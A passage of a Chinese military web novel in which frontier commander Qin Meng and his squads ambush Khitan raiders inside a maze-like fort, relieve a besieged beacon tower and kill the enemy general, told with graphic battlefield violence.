“弟兄们,今天不是**死,就是我们亡。”**以将军亲卫队长身份接管指挥,大声下令。
“死顶正门口子,放零散番狗进巷子,挤死在这肠子路!”
“二队,负责射箭还击,箭用光了,用长矛捅,用沸水泼……”
**的咆哮穿透喧嚣,满是同归于尽的狠厉。
他带着二十多条汉子,用血肉躯干、长矛竹枪和屈指可数的**,死死钉在堡口最窄的咽喉处,如同生锈的铁栓,承受着最狂暴的冲击。
三十来人迅速登上堡墙,依托垛口的掩护,或瞅准机会,从箭孔往外面射箭,射杀**。
然而,**兵狡猾得很。
在那百夫长的指挥下,数股契丹兵正凭借战马的灵活在堡外骚扰、奔袭。
或破开冰墙而入,或从矮墙翻进,如同**入铺堡脏腑深处。
秦猛眼中寒光一闪,捕捉到了敌兵最大的死穴。
他们的贪婪与狂妄。
这群狂妄劫掠者正踏入绝地。
堡内地形复杂,茅檐伸手可触,窄巷仅容单人通过。且铺屋样式类似,犹如天然迷宫。
外人进来很容易就会迷路。
地面坑洼污秽,遍布柴垛、鸡笼与死亡转角,冲入的骑兵首尾难顾,战马反成了累赘,自寻死路。
“告诉**,只需守住后门,陆续放人入铺堡;另外告知王善和乌维他们,以小队猎杀目标。”
秦猛当机立断,立刻下达清晰指令。
“是。”几个亲兵迅速分散去通知。
秦猛又把十来个亲兵分成两队,令他们相互配合猎杀,每队有老兵带队,形成小组作战单元。
隐藏在暗处的猎杀者动了!
……
契丹人不愧是草原上的大族群。
来袭的达子不少穿着铁甲,配备长短冷兵器。胯下马儿更是草原的高头大马,速度极快。
这群家伙勇猛
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,剽悍,狂妄!
一部分骑兵在后方弓箭手狂射压制,其他人冲锋。堡墙后门的木栅很快就被鞑马蹄撞得劈裂。
他们不撞击堡门,反而分队冲向那些缺口或矮墙。
守军也分成多队,尝试着阻拦。
**带队挡在堡墙最大的一处豁口处,双手紧握环首刀,刀刃上还凝着前一个敌兵的血珠,不。
他目光如炬地盯着涌来的骑兵,没有丝毫畏惧。
几名铁甲亲兵列成盾阵,盾牌相撞的“哐当”声里,**的弯刀劈在盾面上,火星溅起三尺高。
“放箭!”**一声低喝。
隐在亲兵侧后的一队戍卒立刻张弓。
其中几个猎户最是显眼,他们的箭杆是桦木削的,箭头裹着磨尖的铁片,箭羽上还沾着松脂。
一个猎户开弓就射,自制箭矢直穿一名**骑兵的咽喉,那兵连哼都没哼就从马背上栽下来。
“好样的!”**见了,不禁叫好。
另一个猎户瞄准马眼,箭矢入目,战马痛得人立而起,将背上的**甩进盾阵,瞬间被亲兵的长矛捅成了筛子。
第三个猎户更绝,一箭射中正指挥的**百夫长的胸口。
百夫长闷哼着坠马,身后的**顿时乱了阵脚。
“杀!”
不少**勃然大怒,本想凭着马快冲开缺口。
可豁口处地势狭窄,又被洒满铁蒺藜,战马转不开身,前头的兵一倒,后头的就挤成了一团。
**挥刀又砍翻一个扑到盾前的**,余光瞥见地上的尸体越堆越高。
有的被削了脑袋,有的被断了胳膊,鲜血顺着门槛往堡外流,竟在门口积成了一小滩血洼。
马蹄踩上去打滑,连栽了好几匹战马。
他立刻指挥人一边作战,一边把外面的马拉回来。
“杀进去!别跟他们耗在门口!”那百夫长并没有死,狼狈地爬上战马,气急败坏的嚷着。
七八个兵卒举着圆盾,硬顶着亲兵的长矛往前挪,想从尸体堆的缝隙里挤进来。
其余**则举着弓箭在外头牵制。
箭雨“嗖嗖”地往堡墙上射,不时传来闷哼惨叫。
铁甲亲兵举盾格挡,偶尔有箭矢穿过盾缝,被后面的刀手格挡,就算射中,也穿不透铁甲。
一个猎户甚至借着亲兵的盾牌当掩护,侧身探出头,一箭射穿了外头放箭的**的手腕,那**的弓“哐当”落地,捂着流血的手腕惨叫。
几个戍卒见**从边上矮墙跃入,急得要追,却被**伸手按住。
他看着挤进来的几个**迅速消失在拐角处,脸上没有半分急色,反而勾起一抹冷笑
——这铺堡内部地势,布局复杂,本就是秦猛布下的圈套,**敢闯进来,就是自投罗网。
他只是下令防止**杀个回马枪,就不再去管。盯着外头牵制的**,做出气急败坏的样子,怒骂声不断,加大了堵住缺口的力度。
第115章 巷战猎杀
堡内屠户家,棚子里停着一辆装满豆子的大车,几头待宰杀的肥年猪惊窜,制造了混乱与噪音。
七八个契丹兵策马扑来,一个壮汉浑身是血,肩膀处中箭,却死守不退,竟是要粮不要命。
“哈哈哈,好东西!撒剌!快快冲进去,拉走猪粮。”
契丹什长用半生汉话杂着契丹语,兴奋下令,注意力完全被物资吸引,没察觉到有人靠近。
战机!秦猛借着夜色掩护摸来,眼神如冰渊,横刀入鞘,抄起墙角一柄沉重大锄,猛冲而出。
不是扑敌,而是撞向隔壁那并不牢固的低矮院墙。
呜!锄头抡圆砸向松动土砖!
哗啦啦……烟尘腾起,砖石坍塌,豁口洞开。
这巨大的声响成功吸引了敌人。
“快跑啊——”秦猛捏着嗓子学着妇人声音尖叫,在夜里格外尖锐刺耳。
“嗯?”什长兴奋了:“女人?撒剌,带两个人过去!”
一个名叫撒剌的壮汉应声,嘎嘎怪笑,带两个**兵,弃马提刀,警惕地逼向豁口尘烟。
三人探头探脑,谨慎探入铺屋院子的刹那。
秦猛动了,如暗影猎豹般,自柴堆暗角暴起!无视当先者,直扑豁口处殿后的警戒之兵。
左手铁指如钢钳锁口鼻下颌,身体撞入怀中。
他右**如毒蛇吐信,精准刺入颈侧甲状软骨缝隙。
噗嗤!
血泉喷涌,**兵浑身剧颤。
刀抽、旋身,秦猛顺势反撩刀锋。
“噗嗤”,撕裂另一转身士兵持刀手腕的尺动脉。
“啊——!”那**断腕惨嚎,接着被抹了脖子。
豁口异变惊得那领队的撒剌猛回头。
黑影兜头猛砸而来,是秦猛左手拖拽喷血尸身猛砸。
契丹人连带皮甲两百来斤,撒剌被砸得踉跄后退。
尸影遮目瞬间,秦猛箭步突进,蓄满腰力臂力的弓步冲拳,如重锤轰在撒剌后仰暴露的喉结上。
咔嚓!
喉骨粉碎,颈骨反折,眼球充血弹出,尸身软泥般瘫倒。
两息,三杀!
契丹什长骇然失色:“撒剌!放箭,围死那墙根!”
“嗖嗖嗖……”
几支重箭厉啸钉入草垛,秦猛早已察觉到那种被锁定的熟悉感,灵巧躲避,翻滚藏入柴堆后。
“为撒剌报仇,围过去,剁碎了喂马!”
什长狰狞吼叫,与三名士兵执刀结阵,跨过豁口,步步逼近,靴踏血泥,气氛紧张到了极点。
草垛后,秦猛嘴角泛起一丝冷酷笑意,凭着脚踩的感觉,在草棚里摸索,抽出堆架的横杠。
一件非常规武器。
几双牛皮靴踏入院内血洼!
“杀!”随着什长下令,契丹兵厉啸合围扑来。
霎那间,秦猛也蹬地暴冲。
他拎着丈长木棍横扫千军,棍风呜咽,势大力沉。
咔嚓!棍头巨力砸中一人膝弯外侧,胫骨立断。
“啊——”那契丹兵惨嚎扑地。
秦猛一脚踢断他的脖子,弃棍接刀,拧腰发力,借旋势反手上撩。
“嗤啦!”刀锋破开其牛皮甲及内袄,精准切开小腹,一堆暗红蠕动的肠子混合的血液喷涌而出。
“呃啊——!”开膛剧痛,那**发出非人的惨嗥。
同时秦猛拔出腿外侧短刀,脱手飞掷,如标枪贯空。噗!扎入扑来的契丹兵肩窝,肩胛骨裂响。
“呃!”那契丹兵剧痛踉跄,弯刀落地。
秦猛虎扑而上,左手铁爪锁喉,右膝如重炮顶其软肋。
咔嚓!喉骨粉碎,数根肋骨断折,内腑洞穿,瞬毙。
那开膛兵瘫地嘶嚎,血如泉涌,也是不活了。
什长魂胆俱裂:“长生天,妖……”转身欲逃。
秦猛一个箭步追上,窜上墙,自墙腾空跃下。
哐啷啷,寒光闪烁,腰刀出鞘。
他借下坠巨力,刀锋映照冲天烈焰,划出致命寒光。
“咔嚓”一声齐肩斩断那**右臂,血瀑狂喷。
不待惨嚎出声,刀光回旋,首级飞离脖颈,在血雨中划弧落地,掩盖弯刀落地的哐啷声。
无头残躯踉跄两步,终软倒血泊。
院内唯闻血滴渗土之声,七具契丹尸首横陈遍地。雪地被染红,断臂,肠子散落,宛如修罗场。
秦猛抹去脸上温热血污,李铁匠所赠的宝刀“破锋”归鞘时发出清脆铮鸣,似在渴饮更多鞑虏鲜血。
片刻后,几个亲兵才姗姗来迟。
“来得正好,你们负责打扫战场,送到官署。”
秦猛指着**留下来的战马、弯刀、弓箭,朝几个亲兵下令,随即大步向外走去,继续猎杀。
双涡堡已化作战场!怒吼、马嘶、契丹语的咆哮与戍卒的搏命嘶吼交织成网,刀劈土墙的锐鸣混着火焰爆燃声,恰似地狱奏响的终章。
王善攥着磨得锃亮的猎刀,眼神如鹰隼般锁定巷口。身后五名亲兵屏息凝神,皆是随时扑杀。
三名**骑兵从缺口处冲入堡内,马蹄踏碎积雪的声响还未消散,王善便如猎豹般窜出。
他自幼打猎,又随老兵练得一身武艺,避开**弯刀,直扑马下,猎刀精准刺入**后腰。
其余亲兵默契配合,**齐发,剩余两骑应声**。
他们刚挣扎起身,便被绳索套颈拖拽,闷响中没了声息。亲兵迅速抢走马匹,拖走尸体。
整个过程不过三息,雪地上只添了几摊暗红。
王善擦去刀血,低声道:“下一处。”
……
乌维手持四十斤重的环首刀,如小山般跳出偷袭。两名**策马挺枪冲来,却被他挥刀横扫。
刀锋劈断枪杆,顺势斩断马腿,**摔落瞬间,环首刀再落,直接将人劈成两截,
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鲜血溅满雪地。
几个壮汉不是从屋顶跳下就是从巷道窜出,把另一个**乱刀剁翻。一个叫柱子的大个子心疼的劝说乌维:“哎哟,魁爷,别伤马呀!”
另一侧,牛五带着小队藏在柴房。
四名**刚推门搜粮,他便合身撞向为首者,相扑技巧施展开来,双手锁喉拧腰,将人重重掼在地上。
咔嚓一声,**颈椎直接断裂,脑浆崩裂而死。
其余亲兵蜂拥而上,短刀投掷刺要害,**射眼眶。片刻间,伴随着哀嚎,**尽数倒毙。
牛五拍了拍衣襟,啐了口:“呸,狗屁的勇士。”
“快,搞快点,继续狩猎。”
……
堡内各处巷道里,秦猛调教的亲兵如鬼魅般出没。
两名**刚踹开民宅大门,屋梁上便跃下一名亲兵,短刃抹喉。
另一名**转身欲逃,却被门槛下的绳索绊倒,暗处立刻冲出两人,按住后心一刀封喉。
还有小队借着民宅矮墙掩护,待入堡劫掠的**经过时,长矛从墙缝刺出,精准捅穿目标……
进入堡内的**兵分散后,竟成了待宰羔羊。
没片刻功夫,便有十多个****。
二十多个亲兵动作利落,眼神冷厉,初步有了后世特种兵的风范,没辜负秦猛多日的严苛特训。
而他这个教官就更不得了了!
秦猛如壁虎般贴在邻墙阴影里,盯着一个**兵正亢奋地用肩头猛撞开一扇门板,地窖缝隙漏出的稚童哭声让他眼中泛起野兽般的光。
就在那**迫不及待跨过门槛的刹那!
秦猛动了——他脚踏土墙借力,如灵猿攀檐,腾身如鹰隼扑食,借着下坠之势砸中**兵后颈。
他两百来斤的体重和铁甲重量。
“咔嚓!”
颈椎碎裂声刺耳。**兵眼珠暴凸,血沫从口中喷溅。
秦猛落地时顺手抹过对方喉管,温热的血溅在靴上,他眼皮都没眨一下。
迅速将弯刀弓箭塞进马鞍袋,拽着战马藏入院内。刚掩好破门,巷道拐角便传来蹄声碎响。
两名洗劫归来的**拎着抢来的粮食,兴奋叫嚷。其中一人正把银镯子往怀里塞,满脸窃喜。
马头刚过拐角的瞬间,秦猛从屋顶猛泼下一大蓬生石灰。
这种补墙的玩意此刻成了索命符。
“啊!我的眼睛!”两个**兵捂着眼惨叫,石灰呛得连连咳嗽,胯下马儿受惊,却堵在窄巷。
“噗!噗!”
秦猛如鬼魅切近,弯刀精准抹过二人的脖颈。血如泉涌,溅在旁边的砖土墙上,红得发黑。
“将军!”几个亲兵猫腰奔来,有人手里攥着半块胡饼,见了几具尸体,猛地咽了口唾沫。
“这儿交给你们了,手脚麻利些!”秦猛声冷如铁,脚步不停。再度猎杀闯入堡劫掠的**……
第116章 血战双涡堡
秦猛的身影在铺屋顶、窄巷间、窗牖旁鬼魅穿梭。每一次停顿,都伴随着精准利落的击杀:
自檐角扑下,脚未落地已跺断敌颈——那**兵正撕扯民女衣襟,临死前,脸上还凝固着淫笑。
他贴紧柴门阴影,待**兵推门时,刀锋逆撩,直取腹心,肠肚秽物淌落一地,腥臭刺鼻。或从柴房骤跃而出,锁喉碎骨,利落抹颈……
狠、准、快,秦猛宛如一台冰冷的杀戮机器。
他仗着这具身体力大无穷,夜间视力敏锐,将前世当兵多年与武警教官的本事发挥到极致。
凡是被他盯上的**,一个照面便命丧当场。
快到对方连反应的机会都没有!
几名亲兵紧随其后,收拢战利品忙得脚不沾地。人人心中震撼,对自家将军的身手惊为天人!
算上秦猛,再加上王善、乌维、牛五、秦小**队,共五支小队,依托地形埋伏、迂回,展开精准猎杀。
铺堡面积有限,**涌入其中,如同踏入死亡坟场。
**的狞笑迅速被绝望取代。
惨嚎声在巷道里诡异回荡,恰似死神催命的鼓点。
守后门的**知晓计划,故意分批放**进堡。
闯入铺堡的**小队,瞬间成了砧板上的鱼肉。
有人慌不择路钻进死胡同,被秦猛从墙头掷下的断矛钉死在土墙上,像插在签子上的咸鱼。
有人砍伤战马后腿想阻截追兵,却被王善绕至前方,一刀刺穿肺叶。
有人猝然撞见乌维,刚反应过来,脑袋已滚落尘埃。
也有劫掠者误闯入猎杀小队包围圈,被屋檐垂下的麻绳套住脖颈,活活吊死在铺屋之上……
“撤!周人里有**恶鬼!”
堡内喊杀声渐稀,着火处被扑灭,幸存的**兵魂飞魄散,再也顾不得劫掠,朝着缺口处疯狂拥挤逃窜。
可惜,入堡容易,出堡难。
在这巷道规整、铺屋与岔路口极为相似的军事堡垒中,这些草原蛮子能闯出去的,寥寥无几。
各小队在堡内穿梭,持续疯狂猎杀,途中陆续会合。
己方毫无折损,战绩却颇为亮眼。
王善队杀敌十八人,乌维队杀敌十九人,牛五队杀敌十五人,秦小六队杀了十二个。
剩下的**,全是秦猛所杀。
几个打扫战利品的亲兵都累得够呛。
秦猛背靠冰冷土墙喘息,双臂酸沉——**兵骨头坚硬,不知杀了多少,弯刀都砍废了两把。
“这身体力量刚猛,耐力却是短板,还得接着练。”
他低声嘟囔,灌了一口马奶酒,嚼着肉干补充体力。这些都是从**马鞍袋里缴获得来。
王善、牛五等人也各自大口吞咽食物。
唯有乌维带着人返回官署,看管战利品与黄安的手下。
堡内一枚号炮升空,在夜空中绽放出绿色烟花。
——反击的时刻到了!
“杀、杀啊!”亲兵们敲锣呐喊,嗓子都喊得劈了叉……
“杀!契丹狗怕了,杀出去!”
堡口处,**望见绿色烟花,精准抓住战机,挥舞大刀,率领三十多个汉家儿郎展开反击。
他们目睹秦猛如魔神般屠戮**,又见各支小队个个表现亮眼,杀得**鬼哭狼嚎。
一腔血勇彻底被点燃!
弓箭手不再留手,接连弯弓搭箭。
“嗖嗖”破空声不断,一根根箭矢从堡墙上、铺屋箭孔中飞出,如同不要钱般落入**群中。
那些负责在堡外牵制的**猝不及防,被射倒一片,十来个翻身**,惨叫声此起彼伏。
“杀——!”
堡内,秦猛如血狱修罗般现身,冲至铺口附近,一刀剁开**兵的脖颈,吼声如**慑敌胆。
王善与牛五率领铁甲卫队冲锋,迅速扩大战果。
“杀!为二牛报仇!”
有人喊着死去兄弟的名字,双眼红得要滴血,鱼叉、钢叉、石块纷纷砸向出口处挤作一团的溃兵。
战马悲鸣着栽倒,骑兵被拖下马背,瞬间被愤怒的人潮淹没。狭窄的堡墙缺口化作绞肉血池。
就在此时——
“咻——轰!”
一道拖着血色长尾的烽火箭,从东面高坡的烽燧台尖啸升空,在半空炸开,如同泣血之莲。
这是烽燧陷入岌岌可危的境地时,才会使用的求援号炮。
“血烽!”戍卒们目眦尽裂,嘶声呐喊。
趁这间隙,几个契丹兵侥幸挤出堡外,亡命奔逃。
其中一人回头望向双涡堡,眼中满是恐惧——目睹秦猛的**手段,早已被吓破了胆。
“撤,快撤!”**百夫长见仓皇逃窜的手下,以为堡内有大量伏兵,忙拨转马头,率队逃窜。
“烽燧堡危险了!”秦猛心头一沉,目光扫过四周,恰好看见牛五带着亲兵驱赶着战马奔来。
他冲到踏雪乌骓旁,按鞍飞身跨坐,甩动缰绳。
“追!斩尽杀绝!”他拎着染血的弯刀,声音如金铁交鸣。
“杀!斩尽杀绝!”王善和牛五等人也纷纷翻身上马。
“上马!跟将军杀光番狗!”**厉声怒吼,领着二十多个还能动弹的戍卒乡勇登上战马,抽打着马臀,火速冲出铺门,紧追那道血色身影。
“快!守住入口,抢救伤兵!都给我打起精神来!”
负伤的戍卒什长强撑着起身嘶吼,一边维持秩序,一边让人在铺堡内吆喝,召集人手来支援。
……
堡外,亡命奔逃的**兵们惊魂未定。背后蹄声如雷,接连有人被秦猛追上,一枪戳死。
**如丧家之犬,死命逃窜……
双涡堡烽燧台巍然矗立在河畔高地上,墙体连土坡高达四五丈,是戍边军民赖以生存的屏障。
原本这里仅有十多名戍卒,负责瞭望、巡边,自秦猛巡视后,增派了一队亲兵及十多名戍卒。
由虬髯壮汉常勇统领,在此固守。
此刻,这座堡垒正面临建造以来最严峻的考验。
堡墙之上漆黑一片,毫无火光。
坡下的篝火与火把却亮如白昼,黑压压的契丹骑兵如蚁群般涌动,数量不明,至少有数百人。
其中大半已经下马,
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分成一支支小队,扛着十数架简陋却坚固的木梯,向堡墙发起冲击。
嗖嗖嗖……
箭矢如飞蝗般从**弓手阵中射出,狠狠砸向戍堡的垛口。
契丹郎君萧铁虎是贵族子弟,此次越境不仅为了掠夺人口、粮畜,更要彻底摧毁这座边陲要塞。
重现两年前踏平小南河堡的功绩。
这是军功,是荣耀,更能证明自己不输于兄长。
堡墙上,常勇虬髯倒竖,甲胄染满鲜血。
他声如洪钟:“弓手压制敌方梯队,滚木——放!”
草原骑兵虽勇猛,却不擅长攻坚!
这道四丈高的土石城墙,便是他们抵御**的最大底气。
常勇奉命接管烽燧堡指挥后,立即加固防御,还命戍卒们外出滚雪球,制作了许多冰雪弹。
此刻,大大小小的雪球一股脑往下砸去。
攻城的**兵要么惨叫着坠落,要么被砸得脑浆迸裂。
“该死!”萧铁虎立马于坡下,玄甲铁盔下目光如炬。目睹手下攻势受挫,不禁低声咒骂。
他年仅二十二岁,却是契丹新晋将领中最为凶猛的一个。
两年前,其兄萧铁鹰攻破小南河堡,获“拔城雄鹰”的美誉。
如今,他也要用这座边堡的陷落,为自己赢得“摧城猛虎”之名。
“郎君,第三波攻势被击退了!”
千夫长斡鲁朵策马来报,面带忧色,本想劝说“儿郎死一个少一个,没必要做这种赔本的买卖”。
萧铁虎冷笑:“南人撑不了多久。让儿郎们继续进攻,我要在半个时辰内,站在那堡墙上!”
他记得兄长曾说“攻城需耐心”,但他等不及。
他要证明,铁虎之威更胜铁鹰。
萧铁虎抽调更多兵力加入攻坚,甚至将亲卫队也派上了前线。摇曳的火光,映照着他狰狞的脸色。
……
常勇早年带队走镖,还做过常家商队的护卫队长,走南闯北经验丰富,指挥能力也不容小觑。
他目光如电,紧盯着坡下火光处**兵的调动——敌人并非单纯牵制,而是真的要攻打边堡。
常勇立刻下令,将所有油料集中使用。燧堡内,随军妇人烧着热水,戍卒们收集碎石混合积雪制作简易擂石,甚至拆下门板当作盾牌。
“沸水准备!”常勇吼声如雷。
守军抬来大锅,将沸腾的热水泼向攀爬的敌兵。凄厉的惨叫顿时响起,数名契丹兵从木梯上坠落。
面对敌军主攻方向,常勇亲自操**,一箭射穿正在指挥的**十夫长咽喉,箭箭不落空。
他率领的亲兵队轮流休息,以保持体力。伤兵组织民妇搬运箭矢、石块、沸水,并为伤员包扎。
“泼火油!”危急时刻,常勇下令。
戍卒将火油往下方泼洒,一根根火箭随即射出。火油被点燃,迅速蔓延,十来个**瞬间化为火人。
“啊……”惨叫声刺破黑夜,攻城的**惊恐地远离火海。
这暂时阻断了敌军攻势,给了守军喘息之机。
然而,**很快便再次发动猛攻。
第117章 援烽燧,斩敌将
“杀!”燧堡喊杀声震天!
契丹兵如潮水般涌来,战况越发惨烈。
守城物资急剧消耗——雪球见了底,箭矢剩不下几支,沸水也再难续上。
戍卒不断中箭倒下,却仍有不少人身插断箭,咬着牙挥刀死战。
萧铁虎见状,亲率精锐压阵。
他弯弓搭箭,箭矢精准穿透垛口,直直钉进一名戍卒肩膀。
那士卒踉跄后退,被同袍扶住的瞬间,仍挣扎着将手中石块砸向城下。
“郎君神射!”千夫长斡鲁朵拍着马屁。
萧铁虎狞笑下令:“先登破城者,赏银千两!”
重赏之下,必有勇夫!
他亲自督战,命士兵不计代价猛攻。
惨烈的白刃战很快在墙头展开。
越来越多契丹兵攀爬上燧堡,弯刀狂劈,常勇率亲兵结阵死战,刀光闪处,血雨纷飞。
墙头狭窄,每寸土地都在以命相搏,残缺的肢体散落遍地。
危急关头,常勇猛然想起最后**锏,十余个**。
他嘶声吼道:“取燃瓶来,烧死他们!”
“是!”亲兵应声,急忙从值房内抱出**。常勇亲自点燃引信,将其掷向敌军密集的主攻区域。
陶瓶爆裂的瞬间,几米高的火焰冲天而起,混合铝粉的火油四溅,火浪席卷处顿时成了火海。
这燃烧的温度极高,难以扑灭!
沾染火油的契丹兵瞬间成了人形火把,凄厉的嚎叫声响彻战场。
少说二十人或跌落云梯,或在地上翻滚惨叫。
“汉人狡诈!”萧铁虎看得目眦尽裂,怒骂不止。
火攻暂阻了攻势,守军趁机将爬上来的**尽数斩杀。
烽燧堡虽暂退敌军,代价却极为惨重。
能战的守军不足二十人,且人人带伤;箭矢几乎用尽,滚木擂石所剩无几,**也只剩三个。
常勇甲胄破裂,左臂一道刀伤仅简单包扎,鲜血仍在不断渗出。
他倚着垛口远眺,见契丹军正在重整队伍,显然在筹备最后的总攻。
火光如血,映照着堡墙下的遍地尸骸。
几名负伤的戍卒艰难移动,将最后几块石头搬到垛口。
常勇哑声对身旁亲兵道:“若堡破,你带土兵、民妇从密道走,我辈军人,当与此堡同存亡!”
“今日,唯有死战!”他目光扫过每一个还能站立的面孔。
随后,血烽箭飞上夜空,绽放出刺眼的血色烟花!
萧铁虎面色阴沉,玄甲铁盔下的目光如炬。他遥指堡墙,对身旁千夫长道:“今日必踏平此堡,让南人知我萧铁虎之名,不输我兄长!”
“杀!”溃散的**兵被重新组织,正要冲锋。
铺堡方向忽然传来雷鸣般的马蹄声。
紧接着,火光骤起,杀声震天,人影绰绰,似有大队人马杀来,瞬间吸引了**们的注意。
那是秦猛让人搞出来的迷惑阵仗。
没人察觉,秦猛带着一队骑兵已悄然靠近敌军,待距离足够近时,二十多人骤然发起冲锋。
“杀!杀**!”一道黑色闪电瞬间隐没于黑夜!
秦猛一马当先,踏雪乌骓如利剑般刺入敌阵侧翼。他右手丈八铁枪狂戳,左手染血弯刀疯砍。
**兵或被捅穿胸膛,或首级飞天。
王善、牛五及二十余骑紧随其后,形成锥形阵,刀枪并举,马踏箭射,瞬间撕裂了契丹阵脚。
萧铁虎急令后队转向,却已措手不及。
秦猛带队横冲直撞,所过之处,**纷纷扑倒。
堡上的常勇见援兵到来,虬髯贲张,怒声狂吼。
“秦将军来了,杀尽胡虏!”
残兵瞬间振奋,奋起反扑,竟形成内外夹击之势。
契丹军阵脚大乱。
狼烟滚滚、血色漫天的战场上,一场逆转胜负的厮杀全面展开。
烽燧堡东侧高坡下,秦猛率二十余骑如尖刀般楔入敌阵,虽瞬间冲散数队**兵,却很快被契丹骑兵合围,人数悬殊的压力陡然倍增。
秦猛**挑飞一人,丢掉卷刃的弯刀,拽出腰间破锋。一刀劈开袭来的**百夫长的咽喉。
血喷如注间,他抬眼望去,正见萧铁虎在百余步外的中军中指挥,身边亲卫簇拥,狼头大纛在风中狂舞。
“王善补位,尔等结阵随我冲杀!”
秦猛声如寒铁,踏雪乌骓似通心意,扬蹄长嘶。
他反手将破锋刀插回刀鞘,双手紧握丈八铁枪,疯狂戳刺,横扫开道,直扑敌将,擒贼先擒王!
秦猛猛夹马腹,踏雪乌骓如离弦之箭直扑中军。
王善、牛五见状,立即率亲兵向两翼拼杀,竭力为他牵制敌军。
萧铁虎早已注意到这员悍勇周将,见其单骑冲来,不由狞笑:“找死!”
他挥手下令:“拿下那黑甲周将,赏百金!”
秦猛破阵斩敌
百夫长迪**身材壮硕如熊,操着生硬汉语狂吼。
“剁碎这汉狗下酒!”
吼声如闷雷,暂压战场喧嚣。
他是契丹.“伏弗郁部”勇士,曾徒手搏**熊。
此刻率十余亲骑杀来,弯刀映火如移动火狱,杀气腾腾。
秦猛面色冷峻,握枪的手因用力指节泛白,速度丝毫不减。
两马交错时,迪**借马势挥刀劈头,力道能裂石。
秦猛不格不挡,喉中低啸,铁枪如毒蛇出洞,后发先至。
枪尖精准刺穿迪**皮甲旧疤,直入心窝。
“噗哧!”枪尖透背而出,带起滚烫血雨。
迪**满脸愕然,弯刀垂落,血沫从口中涌出。
秦猛手腕猛抖,臂肌虬结,竟将壮硕的他挑离马鞍。
他顺势将迪**甩向扑来的亲兵,“轰”的一声,数骑被撞得人仰马翻。
剩余亲兵虽胆寒,仍悍不畏死地围上。
秦猛铁枪翻飞如黑龙,马前无一合之敌。
一**举盾迎击,他枪尖点中盾心,“咔嚓”声中木盾炸裂。
枪势不减,径直贯穿那人胸膛。
另一侧敌骑挥刀砍来,秦猛反手用枪杆横扫。
铁枪杆带着风压砸中对方腰部,传来刺耳骨裂声。
那人被扫飞下马,又撞翻身后追兵。
秦猛如热刀切油,在敌阵中犁开一条血路。<
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br>踏雪乌骓四蹄腾空,溅起混着血水的泥雪,跃过倒毙的人马。
他直逼萧铁虎本阵,王善、牛五率亲兵紧随其后,死死护住他的侧翼。
萧铁虎见黑甲周将连杀十余人,瞬息已近至五十步内,终于脸色大变。
千夫长斡鲁朵身披重甲,是萧铁虎麾下真正的悍将。
他见迪****,双目赤红,额上青筋暴起,狂吼着挥刀扑来:“纳命来!”
声浪震得近处士兵耳膜生疼。
斡鲁朵武艺明显高出一筹,弯刀虚晃一下,划出诡异弧线。
他避实击虚,刀光如冷月,直取秦猛脖颈。
秦猛铁枪疾刺,却被他用刁钻卸力技巧侧身躲过。
弯刀已至颈侧,刀锋的寒意激起秦猛皮肤上的战栗。
危急关头,秦猛身体如同折断般突然后仰,几乎贴住马背。
刀锋带着尖啸擦着脸颊而过,几缕被斩断的发丝飘落。
未等斡鲁朵眼中惊愕之色闪过,也未等他回刀,秦猛已如弹簧般弹起。
他探手抽出腰间染血的破锋刀,刀光如电,自下而上反撩。
这一刀凝聚了他全部的爆发力,快得只剩一道模糊光影。
“镪!”刺耳锐响传开,斡鲁朵的百炼弯刀竟被从中齐齐斩断。
刀势未尽,顺势而上,劈开他的胸腹,护心镜如同纸糊一般被切开。
千夫长低头看着自己涌出的内脏,连惨叫都未发出便栽**下。
他的战马惊嘶一声,驮着空鞍慌乱跑开。
萧铁虎见最后的屏障顷刻殒命,终于骇得脸色煞白。胯下战马人立而起,仿佛也想远离那尊杀神。
他急调亲兵护驾,声音尖厉:“拦住他,赏百金!不,千金!”
重赏之下,鞑兵蜂拥而至,秦猛却毫不减速。
破锋刀左劈右砍荡开乱刃,铁枪上下翻飞挑翻敌兵,踏雪乌骓四蹄生风,撞翻两名拦路骑士,硬生生在乱阵中杀出条血路。
三十步、二十步、十步…
秦猛越逼越近,萧铁虎心头发寒,刚要拨马逃窜,斜刺里突然窜出一名亲卫,举刀劈向秦猛后心。
——竟是他暗藏的偷袭!
秦猛似早有察觉,不回头只凭听风辨位,铁枪自腋下反手后刺。
“铛”的一声架开亲卫钢刀,枪尖顺势前送,直戳亲卫心口。
亲卫惨叫倒地时,萧铁虎却已催马逃出数丈!
“想逃?”秦猛冷笑一声,猛踢马腹,踏雪乌骓似黑色闪电般窜出,瞬息追至萧铁虎马后。
萧铁虎听得身后马蹄声如惊雷炸耳,惶然回首,正撞见秦猛眼中的刺骨寒芒。
“死!”秦猛声震四野,铁枪直刺而出,刺破空气带着锐啸,“噗”的一声贯穿萧铁虎胸膛。
萧铁虎闷哼一声,鲜血顺着枪杆汩汩流下,双手下意识去抓枪杆,却被秦猛手腕一翻,枪尖挑破其心脉。
双马错身的瞬间,秦猛左手破锋刀横斩而出,寒光闪过,“唰”的一声,萧铁虎的头颅冲天飞起,白净的脸上还凝固着未散的惊惧与不甘。
无头尸身晃了晃,栽**下,溅起一地尘土。
第118章 追溃兵,再伏击
“呔——!敌将已死!”
秦猛枪尖高挑萧铁虎面目狰狞的首级,气沉丹田,怒吼声如霹雳般滚过战场,压过了一切喧嚣。
王善、牛五等人立即齐声呐喊。
“敌将已死!”
“你们的主将**啦!”另有懂契丹语的士兵红着眼眶,用尽全身力气向着溃散的敌群咆哮。
将这份宣告与恐惧深深楔入每一个契丹兵的心底。
狼头大纛下,主将殒命。
首级被敌将高高挑起,**军心顷刻土崩瓦解。
“郎君……郎君**!”附近的**见了,拨马便逃。
“啊、跑啊!”
恐惧像瘟疫般在契丹骑兵中蔓延,一片慌乱。
“杀!”此时,后方烟尘滚滚,**率领疑兵适时杀到。
人虽少,声势却浩大。
“援军!是我们的援军到了!”燧堡上,伤痕累累的守军目睹此景,爆发出震天的欢呼。
常勇虽身负刀伤,血染征袍,却嘶哑着大吼:“开堡门!能动的都随我杀出去,接应秦将军!”
残存的守军爆发出最后的血勇,策马冲出堡门,如一把尖刀,狠狠捅入骚乱的敌群侧翼。
很快,与秦猛所率人马形成了完美的里应外合。
哐哐哐……
铜锣声、喊杀声在黑夜里响彻,仿佛有千军万马。契丹兵无从判断周军多寡,越发慌乱。
少数萧铁虎的忠勇亲兵目眦欲裂,红着眼嚎叫着反身杀来,欲为主将报仇。
秦猛面色冷峻,亲率精锐迎上,刀枪碰撞,血肉横飞,很快便将这最后的顽抗之徒斩杀殆尽。
随即,他与**、常勇两部会合,迅速整队形成锥形阵,再次将本就混乱的**队列撕得粉碎。
